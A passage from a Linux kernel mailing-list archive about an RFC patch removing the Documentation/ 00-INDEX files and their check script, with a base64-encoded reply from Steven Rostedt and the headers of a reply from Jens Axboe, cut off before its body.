> -	- s390 common device support (common I/O layer).
> -CommonIO
> -	- common I/O layer command line parameters, procfs and debugfs	entries
> -config3270.sh
> -	- example configuration for 3270 devices.
> -DASD
> -	- information on the DASD disk device driver.
> -Debugging390.txt
> -	- hints for debugging on s390 systems.
> -driver-model.txt
> -	- information on s390 devices and the driver model.
> -monreader.txt
> -	- information on accessing the z/VM monitor stream from Linux.
> -qeth.txt
> -	- HiperSockets Bridge Port Support.
> -s390dbf.txt
> -	- information on using the s390 debug feature.
> -vfio-ccw.txt
> -	  information on the vfio-ccw I/O subchannel driver.
> -zfcpdump.txt
> -	- information on the s390 SCSI dump tool.
> diff --git a/Documentation/scheduler/00-INDEX b/Documentation/scheduler/00-INDEX
> deleted file mode 100644
> index eccf7ad..0000000
> --- a/Documentation/scheduler/00-INDEX
> +++ /dev/null
> @@ -1,18 +0,0 @@
> -00-INDEX
> -	- this file.
> -sched-arch.txt
> -	- CPU Scheduler implementation hints for architecture specific code.
> -sched-bwc.txt
> -	- CFS bandwidth control overview.
> -sched-design-CFS.txt
> -	- goals, design and implementation of the Completely Fair Scheduler.
> -sched-domains.txt
> -	- information on scheduling domains.
> -sched-nice-design.txt
> -	- How and why the scheduler's nice levels are implemented.
> -sched-rt-group.txt
> -	- real-time group scheduling.
> -sched-deadline.txt
> -	- deadline scheduling.
> -sched-stats.txt
> -	- information on schedstats (Linux Scheduler Statistics).
> diff --git a/Documentation/scsi/00-INDEX b/Documentation/scsi/00-INDEX
> deleted file mode 100644
> index bb4a76f..0000000
> --- a/Documentation/scsi/00-INDEX
> +++ /dev/null
> @@ -1,108 +0,0 @@
> -00-INDEX
> -	- this file
> -53c700.txt
> -	- info on driver for 53c700 based adapters
> -BusLogic.txt
> -	- info on driver for adapters with BusLogic chips
> -ChangeLog.1992-1997
> -	- Changes to scsi files, if not listed elsewhere
> -ChangeLog.arcmsr
> -	- Changes to driver for ARECA's SATA RAID controller cards
> -ChangeLog.ips
> -	- IBM ServeRAID driver Changelog
> -ChangeLog.lpfc
> -	- Changes to lpfc driver
> -ChangeLog.megaraid
> -	- Changes to LSI megaraid controller.
> -ChangeLog.megaraid_sas
> -	- Changes to serial attached scsi version of LSI megaraid controller.
> -ChangeLog.ncr53c8xx
> -	- Changes to ncr53c8xx driver
> -ChangeLog.sym53c8xx
> -	- Changes to sym53c8xx driver
> -ChangeLog.sym53c8xx_2
> -	- Changes to second generation of sym53c8xx driver
> -FlashPoint.txt
> -	- info on driver for BusLogic FlashPoint adapters
> -LICENSE.FlashPoint
> -	- Licence of the Flashpoint driver
> -LICENSE.qla2xxx
> -	- License for QLogic Linux Fibre Channel HBA Driver firmware.
> -LICENSE.qla4xxx
> -	- License for QLogic Linux iSCSI HBA Driver.
> -Mylex.txt
> -	- info on driver for Mylex adapters
> -NinjaSCSI.txt
> -	- info on WorkBiT NinjaSCSI-32/32Bi driver
> -aacraid.txt
> -	- Driver supporting Adaptec RAID controllers
> -advansys.txt
> -	- List of Advansys Host Adapters
> -aha152x.txt
> -	- info on driver for Adaptec AHA152x based adapters
> -aic79xx.txt
> -	- Adaptec Ultra320 SCSI host adapters
> -aic7xxx.txt
> -	- info on driver for Adaptec controllers
> -arcmsr_spec.txt
> -	- ARECA FIRMWARE SPEC (for IOP331 adapter)
> -bfa.txt
> -	- Brocade FC/FCOE adapter driver.
> -bnx2fc.txt
> -	- FCoE hardware offload for Broadcom network interfaces.
> -cxgb3i.txt
> -	- Chelsio iSCSI Linux Driver
> -dc395x.txt
> -	- README file for the dc395x SCSI driver
> -dpti.txt
> -	- info on driver for DPT SmartRAID and Adaptec I2O RAID based adapters
> -dtc3x80.txt
> -	- info on driver for DTC 2x80 based adapters
> -g_NCR5380.txt
> -	- info on driver for NCR5380 and NCR53c400 based adapters
> -hpsa.txt
> -	- HP Smart Array Controller SCSI driver.
> -hptiop.txt
> -	- HIGHPOINT ROCKETRAID 3xxx RAID DRIVER
> -libsas.txt
> -	- Serial Attached SCSI management layer.
> -link_power_management_policy.txt
> -	- Link power management options.
> -lpfc.txt
> -	- LPFC driver release notes
> -megaraid.txt
> -	- Common Management Module, shared code handling ioctls for LSI drivers
> -ncr53c8xx.txt
> -	- info on driver for NCR53c8xx based adapters
> -osd.txt
> -	Object-Based Storage Device, command set introduction.
> -osst.txt
> -	- info on driver for OnStream SC-x0 SCSI tape
> -ppa.txt
> -	- info on driver for IOmega zip drive
> -qlogicfas.txt
> -	- info on driver for QLogic FASxxx based adapters
> -scsi-changer.txt
> -	- README for the SCSI media changer driver
> -scsi-generic.txt
> -	- info on the sg driver for generic (non-disk/CD/tape) SCSI devices.
> -scsi-parameters.txt
> -	- List of SCSI-parameters to pass to the kernel at module load-time.
> -scsi.txt
> -	- short blurb on using SCSI support as a module.
> -scsi_mid_low_api.txt
> -	- info on API between SCSI layer and low level drivers
> -scsi_eh.txt
> -	- info on SCSI midlayer error handling infrastructure
> -scsi_fc_transport.txt
> -	- SCSI Fiber Channel Tansport
> -st.txt
> -	- info on scsi tape driver
> -sym53c500_cs.txt
> -	- info on PCMCIA driver for Symbios Logic 53c500 based adapters
> -sym53c8xx_2.txt
> -	- info on second generation driver for sym53c8xx based adapters
> -tmscsim.txt
> -	- info on driver for AM53c974 based adapters
> -ufs.txt
> -	- info on Universal Flash Storage(UFS) and UFS host controller driver.
> diff --git a/Documentation/serial/00-INDEX b/Documentation/serial/00-INDEX
> deleted file mode 100644
> index 8021a9f..0000000
> --- a/Documentation/serial/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- this file.
> -README.cycladesZ
> -	- info on Cyclades-Z firmware loading.
> -driver
> -	- intro to the low level serial driver.
> -moxa-smartio
> -	- file with info on installing/using Moxa multiport serial driver.
> -n_gsm.txt
> -	- GSM 0710 tty multiplexer howto.
> -rocket.txt
> -	- info on the Comtrol RocketPort multiport serial driver.
> -serial-rs485.txt
> -	- info about RS485 structures and support in the kernel.
> -tty.txt
> -	- guide to the locking policies of the tty layer.
> diff --git a/Documentation/spi/00-INDEX b/Documentation/spi/00-INDEX
> deleted file mode 100644
> index 8e4bb17..0000000
> --- a/Documentation/spi/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- this file.
> -butterfly
> -	- AVR Butterfly SPI driver overview and pin configuration.
> -ep93xx_spi
> -	- Basic EP93xx SPI driver configuration.
> -pxa2xx
> -	- PXA2xx SPI master controller build by spi_message fifo wq
> -spidev
> -	- Intro to the userspace API for spi devices
> -spi-lm70llp
> -	- Connecting an LM70-LLP sensor to the kernel via the SPI subsys.
> -spi-sc18is602
> -	- NXP SC18IS602/603 I2C-bus to SPI bridge
> -spi-summary
> -	- (Linux) SPI overview. If unsure about SPI or SPI in Linux, start here.
> diff --git a/Documentation/sysctl/00-INDEX b/Documentation/sysctl/00-INDEX
> deleted file mode 100644
> index 8cf5d49..0000000
> --- a/Documentation/sysctl/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- this file.
> -README
> -	- general information about /proc/sys/ sysctl files.
> -abi.txt
> -	- documentation for /proc/sys/abi/*.
> -fs.txt
> -	- documentation for /proc/sys/fs/*.
> -kernel.txt
> -	- documentation for /proc/sys/kernel/*.
> -net.txt
> -	- documentation for /proc/sys/net/*.
> -sunrpc.txt
> -	- documentation for /proc/sys/sunrpc/*.
> -vm.txt
> -	- documentation for /proc/sys/vm/*.
> diff --git a/Documentation/timers/00-INDEX b/Documentation/timers/00-INDEX
> deleted file mode 100644
> index 3be05fe..0000000
> --- a/Documentation/timers/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- this file
> -highres.txt
> -	- High resolution timers and dynamic ticks design notes
> -hpet.txt
> -	- High Precision Event Timer Driver for Linux
> -hrtimers.txt
> -	- subsystem for high-resolution kernel timers
> -NO_HZ.txt
> -	- Summary of the different methods for the scheduler clock-interrupts management.
> -timekeeping.txt
> -	- Clock sources, clock events, sched_clock() and delay timer notes
> -timers-howto.txt
> -	- how to insert delays in the kernel the right (tm) way.
> -timer_stats.txt
> -	- timer usage statistics
> diff --git a/Documentation/virtual/00-INDEX b/Documentation/virtual/00-INDEX
> deleted file mode 100644
> index af0d239..0000000
> --- a/Documentation/virtual/00-INDEX
> +++ /dev/null
> @@ -1,11 +0,0 @@
> -Virtualization support in the Linux kernel.
> -
> -00-INDEX
> -	- this file.
> -
> -paravirt_ops.txt
> -	- Describes the Linux kernel pv_ops to support different hypervisors
> -kvm/
> -	- Kernel Virtual Machine.  See also http://linux-kvm.org
> -uml/
> -	- User Mode Linux, builds/runs Linux kernel as a userspace program.
> diff --git a/Documentation/virtual/kvm/00-INDEX b/Documentation/virtual/kvm/00-INDEX
> deleted file mode 100644
> index 3492458..0000000
> --- a/Documentation/virtual/kvm/00-INDEX
> +++ /dev/null
> @@ -1,35 +0,0 @@
> -00-INDEX
> -	- this file.
> -amd-memory-encryption.rst
> -	- notes on AMD Secure Encrypted Virtualization feature and SEV firmware
> -	  command description
> -api.txt
> -	- KVM userspace API.
> -arm
> -	- internal ABI between the kernel and HYP (for arm/arm64)
> -cpuid.txt
> -	- KVM-specific cpuid leaves (x86).
> -devices/
> -	- KVM_CAP_DEVICE_CTRL userspace API.
> -halt-polling.txt
> -	- notes on halt-polling
> -hypercalls.txt
> -	- KVM hypercalls.
> -locking.txt
> -	- notes on KVM locks.
> -mmu.txt
> -	- the x86 kvm shadow mmu.
> -msr.txt
> -	- KVM-specific MSRs (x86).
> -nested-vmx.txt
> -	- notes on nested virtualization for Intel x86 processors.
> -ppc-pv.txt
> -	- the paravirtualization interface on PowerPC.
> -review-checklist.txt
> -	- review checklist for KVM patches.
> -s390-diag.txt
> -	- Diagnose hypercall description (for IBM S/390)
> -timekeeping.txt
> -	- timekeeping virtualization for x86-based architectures.
> -vcpu-requests.rst
> -	- internal VCPU request API
> diff --git a/Documentation/vm/00-INDEX b/Documentation/vm/00-INDEX
> deleted file mode 100644
> index f4a4f3e..0000000
> --- a/Documentation/vm/00-INDEX
> +++ /dev/null
> @@ -1,50 +0,0 @@
> -00-INDEX
> -	- this file.
> -active_mm.rst
> -	- An explanation from Linus about tsk->active_mm vs tsk->mm.
> -balance.rst
> -	- various information on memory balancing.
> -cleancache.rst
> -	- Intro to cleancache and page-granularity victim cache.
> -frontswap.rst
> -	- Outline frontswap, part of the transcendent memory frontend.
> -highmem.rst
> -	- Outline of highmem and common issues.
> -hmm.rst
> -	- Documentation of heterogeneous memory management
> -hugetlbfs_reserv.rst
> -	- A brief overview of hugetlbfs reservation design/implementation.
> -hwpoison.rst
> -	- explains what hwpoison is
> -ksm.rst
> -	- how to use the Kernel Samepage Merging feature.
> -mmu_notifier.rst
> -	- a note about clearing pte/pmd and mmu notifications
> -numa.rst
> -	- information about NUMA specific code in the Linux vm.
> -overcommit-accounting.rst
> -	- description of the Linux kernels overcommit handling modes.
> -page_frags.rst
> -	- description of page fragments allocator
> -page_migration.rst
> -	- description of page migration in NUMA systems.
> -page_owner.rst
> -	- tracking about who allocated each page
> -remap_file_pages.rst
> -	- a note about remap_file_pages() system call
> -slub.rst
> -	- a short users guide for SLUB.
> -split_page_table_lock.rst
> -	- Separate per-table lock to improve scalability of the old page_table_lock.
> -swap_numa.rst
> -	- automatic binding of swap device to numa node
> -transhuge.rst
> -	- Transparent Hugepage Support, alternative way of using hugepages.
> -unevictable-lru.rst
> -	- Unevictable LRU infrastructure
> -z3fold.txt
> -	- outline of z3fold allocator for storing compressed pages
> -zsmalloc.rst
> -	- outline of zsmalloc allocator for storing compressed pages
> -zswap.rst
> -	- Intro to compressed cache for swap pages
> diff --git a/Documentation/w1/00-INDEX b/Documentation/w1/00-INDEX
> deleted file mode 100644
> index cb49802..0000000
> --- a/Documentation/w1/00-INDEX
> +++ /dev/null
> @@ -1,10 +0,0 @@
> -00-INDEX
> -	- This file
> -slaves/
> -	- Drivers that provide support for specific family codes.
> -masters/
> -	- Individual chips providing 1-wire busses.
> -w1.generic
> -	- The 1-wire (w1) bus
> -w1.netlink
> -	- Userspace communication protocol over connector [1].
> diff --git a/Documentation/w1/masters/00-INDEX b/Documentation/w1/masters/00-INDEX
> deleted file mode 100644
> index 8330cf9..0000000
> --- a/Documentation/w1/masters/00-INDEX
> +++ /dev/null
> @@ -1,12 +0,0 @@
> -00-INDEX
> -	- This file
> -ds2482
> -	- The Maxim/Dallas Semiconductor DS2482 provides 1-wire busses.
> -ds2490
> -	- The Maxim/Dallas Semiconductor DS2490 builds USB <-> W1 bridges.
> -mxc-w1
> -	- W1 master controller driver found on Freescale MX2/MX3 SoCs
> -omap-hdq
> -	- HDQ/1-wire module of TI OMAP 2430/3430.
> -w1-gpio
> -	- GPIO 1-wire bus master driver.
> diff --git a/Documentation/w1/slaves/00-INDEX b/Documentation/w1/slaves/00-INDEX
> deleted file mode 100644
> index 68946f8..0000000
> --- a/Documentation/w1/slaves/00-INDEX
> +++ /dev/null
> @@ -1,14 +0,0 @@
> -00-INDEX
> -	- This file
> -w1_therm
> -	- The Maxim/Dallas Semiconductor ds18*20 temperature sensor.
> -w1_ds2413
> -	- The Maxim/Dallas Semiconductor ds2413 dual channel addressable switch.
> -w1_ds2423
> -	- The Maxim/Dallas Semiconductor ds2423 counter device.
> -w1_ds2438
> -	- The Maxim/Dallas Semiconductor ds2438 smart battery monitor.
> -w1_ds28e04
> -	- The Maxim/Dallas Semiconductor ds28e04 eeprom.
> -w1_ds28e17
> -	- The Maxim/Dallas Semiconductor ds28e17 1-Wire-to-I2C Master Bridge.
> diff --git a/Documentation/x86/00-INDEX b/Documentation/x86/00-INDEX
> deleted file mode 100644
> index 3bb2ee3..0000000
> --- a/Documentation/x86/00-INDEX
> +++ /dev/null
> @@ -1,20 +0,0 @@
> -00-INDEX
> -	- this file
> -boot.txt
> -	- List of boot protocol versions
> -earlyprintk.txt
> -	- Using earlyprintk with a USB2 debug port key.
> -entry_64.txt
> -	- Describe (some of the) kernel entry points for x86.
> -exception-tables.txt
> -	- why and how Linux kernel uses exception tables on x86
> -microcode.txt
> -	- How to load microcode from an initrd-CPIO archive early to fix CPU issues.
> -mtrr.txt
> -	- how to use x86 Memory Type Range Registers to increase performance
> -pat.txt
> -	- Page Attribute Table intro and API
> -usb-legacy-support.txt
> -	- how to fix/avoid quirks when using emulated PS/2 mouse/keyboard.
> -zero-page.txt
> -	- layout of the first page of memory.
> diff --git a/Documentation/x86/x86_64/00-INDEX b/Documentation/x86/x86_64/00-INDEX
> deleted file mode 100644
> index 92fc20a..0000000
> --- a/Documentation/x86/x86_64/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- This file
> -boot-options.txt
> -	- AMD64-specific boot options.
> -cpu-hotplug-spec
> -	- Firmware support for CPU hotplug under Linux/x86-64
> -fake-numa-for-cpusets
> -	- Using numa=fake and CPUSets for Resource Management
> -kernel-stacks
> -	- Context-specific per-processor interrupt stacks.
> -machinecheck
> -	- Configurable sysfs parameters for the x86-64 machine check code.
> -mm.txt
> -	- Memory layout of x86-64 (4 level page tables, 46 bits physical).
> -uefi.txt
> -	- Booting Linux via Unified Extensible Firmware Interface.
> diff --git a/README b/README
> index 2c927cc..669ac7c 100644
> --- a/README
> +++ b/README
> @@ -12,7 +12,6 @@ In order to build the documentation, use ``make htmldocs`` or
> 
>  There are various text files in the Documentation/ subdirectory,
>  several of them using the Restructured Text markup notation.
> -See Documentation/00-INDEX for a list of what is contained in each file.
> 
>  Please read the Documentation/process/changes.rst file, as it contains the
>  requirements for building and running the kernel, and information about
> diff --git a/scripts/check_00index.sh b/scripts/check_00index.sh
> deleted file mode 100755
> index aa47f592..0000000
> --- a/scripts/check_00index.sh
> +++ /dev/null
> @@ -1,67 +0,0 @@
> -#!/bin/bash
> -# SPDX-License-Identifier: GPL-2.0
> -
> -cd Documentation/
> -
> -# Check entries that should be removed
> -
> -obsolete=""
> -for i in $(tail -n +12 00-INDEX |grep -E '^[a-zA-Z0-9]+'); do
> -	if [ ! -e $i ]; then
> -		obsolete="$obsolete $i"
> -	fi
> -done
> -
> -# Check directory entries that should be added
> -search=""
> -dir=""
> -for i in $(find . -maxdepth 1 -type d); do
> -	if [ "$i" != "." ]; then
> -		new=$(echo $i|perl -ne 's,./(.*),$1/,; print $_')
> -		search="$search $new"
> -	fi
> -done
> -
> -for i in $search; do
> -	if [ "$(grep -P "^$i" 00-INDEX)" == "" ]; then
> -		dir="$dir $i"
> -	fi
> -done
> -
> -# Check file entries that should be added
> -search=""
> -file=""
> -for i in $(find . -maxdepth 1 -type f); do
> -	if [ "$i" != "./.gitignore" ]; then
> -		new=$(echo $i|perl -ne 's,./(.*),$1,; print $_')
> -		search="$search $new"
> -	fi
> -done
> -
> -for i in $search; do
> -	if [ "$(grep -P "^$i\$" 00-INDEX)" == "" ]; then
> -		file="$file $i"
> -	fi
> -done
> -
> -# Output its findings
> -
> -echo -e "Documentation/00-INDEX check results:\n"
> -
> -if [ "$obsolete" != "" ]; then
> -	echo -e "- Should remove those entries:\n\t$obsolete\n"
> -else
> -	echo -e "- No obsolete entries\n"
> -fi
> -
> -if [ "$dir" != "" ]; then
> -	echo -e "- Should document those directories:\n\t$dir\n"
> -else
> -	echo -e "- No new directories to add\n"
> -fi
> -
> -if [ "$file" != "" ]; then
> -	echo -e "- Should document those files:\n\t$file"
> -else
> -	echo "- No new files to add"
> -fi
> -- 
> 2.7.4
> 



From - Thu Nov 08 21:41:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Steven Rostedt <rostedt@goodmis.org>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.mips.general,gmane.comp.emulators.kvm.devel,gmane.linux.documentation,gmane.linux.kernel.lsm,gmane.linux.kernel.gpio,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.linux.network,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.devicetree
Subject: Re: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Tue, 4 Sep 2018 09:59:08 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20180904095908.13298b3d@gandalf.local.home>
References: <1536012923-16275-1-git-send-email-henrik@austad.us>
 <20180904113030.GB25177@amd>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1536069439 24532 195.159.176.226 (4 Sep 2018 13:57:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 4 Sep 2018 13:57:19 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 linux-fbdev@vger.kernel.org, x86@kernel.org, kvm@vger.kernel.org,
 linux-doc@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 James Hogan <jhogan@kernel.org>, Henrik Austad <henrik@austad.us>,
 Lai Jiangshan <jiangshanlai@gmail.com>, dri-devel@lists.freedesktop.org,
 Masahiro Yamada <yamada.masahiro@socionext.com>, Jan Kandziora <jjj@gmx.de>,
 Paul Mackerras <paulus@samba.org>, Henrik Austad <haustad@cisco.com>,
 "H. Peter Anvin" <hpa@zytor.com>, Evgeniy Polyakov <zbr@ioremap.net>,
 linux-s390@vger.kernel.org, Ian Kent <raven@themaw.net>,
 linux-security-module@vger.kernel.org, Paul Moore <paul@paul-moore.com>,
 Jonathan Corbet <corbet@lwn.net>, Michael Ellerman <mpe@ellerman.id.au>,
 Helge Deller <deller@gmx.de>,
 Radim =?UTF-8?B?S3LEjW3DocWZ?= <rkrcmar@redhat.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.or
To: Pavel Machek <pavel@ucw.cz>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Tue Sep 04 15:57:10 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1fxBpM-00067W-Kf
	for sf-dri-devel@m.gmane.org; Tue, 04 Sep 2018 15:57:09 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 3F6D76E270;
	Tue,  4 Sep 2018 13:59:18 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mail.kernel.org (mail.kernel.org [198.145.29.99])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 2EB2D6E270
 for <dri-devel@lists.freedesktop.org>; Tue,  4 Sep 2018 13:59:17 +0000 (UTC)
Original-Received: from gandalf.local.home (cpe-66-24-56-78.stny.res.rr.com
 [66.24.56.78])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by mail.kernel.org (Postfix) with ESMTPSA id CBDD72082B;
 Tue,  4 Sep 2018 13:59:10 +0000 (UTC)
In-Reply-To: <20180904113030.GB25177@amd>
X-Mailer: Claws Mail 3.16.0 (GTK+ 2.24.32; x86_64-pc-linux-gnu)
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:235074 gmane.linux.ports.mips.general:66345 gmane.comp.emulators.kvm.devel:192027 gmane.linux.documentation:59326 gmane.linux.kernel.lsm:39736 gmane.linux.kernel.gpio:33825 gmane.linux.kbuild.devel:21105 gmane.linux.ports.parisc:28926 gmane.linux.ide:65387 gmane.linux.kernel.pci:74934 gmane.linux.power-management.general:105884 gmane.linux.kernel:2861154 gmane.linux.kernel.spi.devel:29961 gmane.linux.network:552919 gmane.linux.ports.ppc64.devel:161982 gmane.linux.drivers.devicetree:286720
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/235074>

T24gVHVlLCA0IFNlcCAyMDE4IDEzOjMwOjMwICswMjAwClBhdmVsIE1hY2hlayA8cGF2ZWxAdWN3
LmN6PiB3cm90ZToKCj4gSSdkIHNheSB0aGlzIGlzIHN0aWxsIHF1aXRlIHZhbHVlYWJsZSwgYW5k
IGl0IG1pZ2h0IGJlIHdvcnRoIGZpeGluZywKPiByYXRoZXIgdGhlbiByZW1vdmluZyBjb21wbGV0
ZWx5LgoKSSBhZ3JlZS4gUGVyaGFwcyB3ZSBzaG91bGQgaGF2ZSBhIDAwLURFU0NSSVBUSU9OIGZp
bGUgaW4gZWFjaApkaXJlY3RvcnksIGFuZCBlYWNoIGZpbGUgY291bGQgc3RhcnQgd2l0aCBhOgoK
IERFU0NSSVBUSU9OOiA8b25lIGxpbmUgZGVzY3JpcHRpb24gaGVyZT4KCmFuZCB0aGVuIHRoZXNl
IGZpbGVzIGNvdWxkIGJlIGdlbmVyYXRlZCBieSB0aG9zZSB0aGF0IGhhdmUgdGhlc2UgdGFncy4K
Ci0tIFN0ZXZlCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
CmRyaS1kZXZlbCBtYWlsaW5nIGxpc3QKZHJpLWRldmVsQGxpc3RzLmZyZWVkZXNrdG9wLm9yZwpo
dHRwczovL2xpc3RzLmZyZWVkZXNrdG9wLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2RyaS1kZXZlbAo=


From - Thu Nov 08 21:41:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jens Axboe <axboe@kernel.dk>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.documentation,gmane.linux.ports.mips.general,gmane.comp.emulators.kvm.devel,gmane.comp.video.dri.devel,gmane.linux.drivers.devicetree,gmane.linux.kernel.lsm,gmane.linux.kernel.gpio,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.linux.network
Subject: Re: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Tue, 4 Sep 2018 09:45:47 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <cab5289c-7c53-28a8-b9b2-0c55c9f8d968@kernel.dk>
References: <1536012923-16275-1-git-send-email-henrik@austad.us>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536098039 4871 195.159.176.226 (4 Sep 2018 21:53:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 4 Sep 2018 21:53:59 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.0
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 linux-fbdev@vger.kernel.org, Jan Kandziora <jjj@gmx.de>, kvm@vger.kernel.org,
 =?UTF-8?B?UmFkaW0gS3LEjW3DocWZ?= <rkrcmar@redhat.com>,
 Peter Zijlstra <peterz@infradead.org>, James Hogan <jhogan@kernel.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 dri-devel@lists.freedesktop.org,
 Masahiro Yamada <yamada.masahiro@socionext.com>, devicetree@vger.kernel.org,
 Paul Mackerras <paulus@samba.org>, Henrik Austad <haustad@cisco.com>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Evgeniy Polyakov <zbr@ioremap.net>, linux-s390@vger.kernel.org,
 Ian Kent <raven@themaw.net>, linux-security-module@vger.kernel.org,
 Paul Moore <paul@paul-moore.com>, Jonathan Corbet <corbet@lwn.net>,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
To: Henrik Austad <henrik@austad.us>, linux-doc@vger.kernel.org
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Tue Sep 04 23:53:50 2018
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([203.11.71.2])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1fxJGe-00011L-O2
	for glppe-linuxppc-embedded-2@m.gmane.org; Tue, 04 Sep 2018 23:53:49 +0200
Original-Received: from lists.ozlabs.org (unknown [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 424gdB0J24zF395
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Wed,  5 Sep 2018 07:55:58 +1000 (AEST)
Authentication-Results: lists.ozlabs.org; dmarc=none (p=none dis=none) header.from=kernel.dk
Authentication-Results: lists.ozlabs.org;
	dkim=fail reason="signature verification failed" (2048-bit key; unprotected) header.d=kernel-dk.20150623.gappssmtp.com header.i=@kernel-dk.20150623.gappssmtp.com header.b="fxHSknQq";
	dkim-atps=neutral
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Authentication-Results: lists.ozlabs.org;
 spf=pass (mailfrom) smtp.mailfrom=kernel.dk
 (client-ip=209.85.214.68; helo=mail-it0-f68.google.com;
 envelope-from=axboe@kernel.dk; receiver=<UNKNOWN>)
Authentication-Results: lists.ozlabs.org;
 dmarc=none (p=none dis=none) header.from=kernel.dk
Authentication-Results: lists.ozlabs.org; dkim=pass (2048-bit key;
 unprotected) header.d=kernel-dk.20150623.gappssmtp.com
 header.i=@kernel-dk.20150623.gappssmtp.com header.b="fxHSknQq"; 
 dkim-atps=neutral
Original-Received: from mail-it0-f68.google.com (mail-it0-f68.google.com
 [209.85.214.68])
 (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 424WRQ20R2zF13F
 for <linuxppc-dev@lists.ozlabs.org>; Wed,  5 Sep 2018 01:46:54 +1000 (AEST)
Original-Received: by mail-it0-f68.google.com with SMTP id h1-v6so5374695itj.4
 for <linuxppc-dev@lists.ozlabs.org>; Tue, 04 Sep 2018 08:46:54 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=kernel-dk.20150623.gappssmtp.com; s=20150623;
 h=subject:to:cc:references:from:message-id:date:user-agent
